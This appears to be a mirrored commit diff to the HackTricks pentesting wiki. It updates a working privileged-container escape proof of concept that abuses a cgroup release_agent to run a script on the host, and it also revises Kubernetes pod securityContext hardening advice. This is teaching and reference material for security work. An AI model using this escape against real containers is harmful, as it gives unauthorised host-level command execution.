mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [#2948] No subject
This commit is contained in:
CPol
gitbook-bot
parent
4101bb4c7f
commit
44abb04839
2 changed files with 23 additions and 13 deletions
|
|
@ -132,20 +132,29 @@ debugfs /dev/sda1
|
|||
# Finds + enables a cgroup release_agent
|
||||
## Looks for something like: /sys/fs/cgroup/*/release_agent
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
# If "d" is empty, this won't work, you need to use the next PoC
|
||||
|
||||
# Enables notify_on_release in the cgroup
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
mkdir -p $d/w;
|
||||
echo 1 >$d/w/notify_on_release
|
||||
# If you have a "Read-only file system" error, you need to use the next PoC
|
||||
|
||||
# Finds path of OverlayFS mount for container
|
||||
# Unless the configuration explicitly exposes the mount point of the host filesystem
|
||||
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
|
||||
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
|
||||
# Sets release_agent to /path/payload
|
||||
touch /o; echo $t/c > $d/release_agent
|
||||
|
||||
# Creates a payload
|
||||
echo "#!/bin/sh" > /c
|
||||
echo "ps > $t/o" >> /c
|
||||
chmod +x /c
|
||||
|
||||
# Triggers the cgroup via empty cgroup.procs
|
||||
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
|
||||
|
||||
# Reads the output
|
||||
cat /o
|
||||
```
|
||||
|
|
@ -163,6 +172,7 @@ docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubunt
|
|||
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
|
||||
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
# If mount gives an error, this won't work, you need to use the first PoC
|
||||
|
||||
# Enables cgroup notifications on release of the "x" cgroup
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
|
|
|
|||
|
|
@ -7,10 +7,10 @@ When specifying the security context of a Pod you can use several attributes. Fr
|
|||
* To have **runASNonRoot** as **True**
|
||||
* To configure **runAsUser**
|
||||
* If possible, consider **limiting** **permissions** indicating **seLinuxOptions** and **seccompProfile**
|
||||
* Do **NOT** give **privilege** **group** access via **fsGroup**, **runAsGroup** and **supplementaryGroups**
|
||||
* Do **NOT** give **privilege** **group** access via **runAsGroup** and **supplementaryGroups**
|
||||
|
||||
| <p><strong></strong><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | This allows to specify a **supplementary groups to all processes of the containers**. Usually used to give access to mounted volumes. |
|
||||
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| <p><strong></strong><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>A special supplemental group that applies to <strong>all containers in a pod</strong>. Some volume types allow the Kubelet to <strong>change the ownership of that volume</strong> to be owned by the pod:<br>1. The owning GID will be the FSGroup<br>2. The setgid bit is set (new files created in the volume will be owned by FSGroup)<br>3. The permission bits are OR'd with rw-rw---- If unset, the Kubelet will not modify the ownership and permissions of any volume</p> |
|
||||
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| <p><strong></strong><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | This defines behavior of **changing ownership and permission of the volume** before being exposed inside Pod. |
|
||||
| <p><strong></strong><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | The **GID to run the entrypoint of the container process**. Uses runtime default if unset. May also be set in SecurityContext. |
|
||||
| <p><strong></strong><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | Indicates that the container must run as a non-root user. If true, the Kubelet will validate the image at runtime to ensure that it does not run as UID 0 (root) and fail to start the container if it does. |
|
||||
|
|
|
|||
Loading…
Reference in a new issue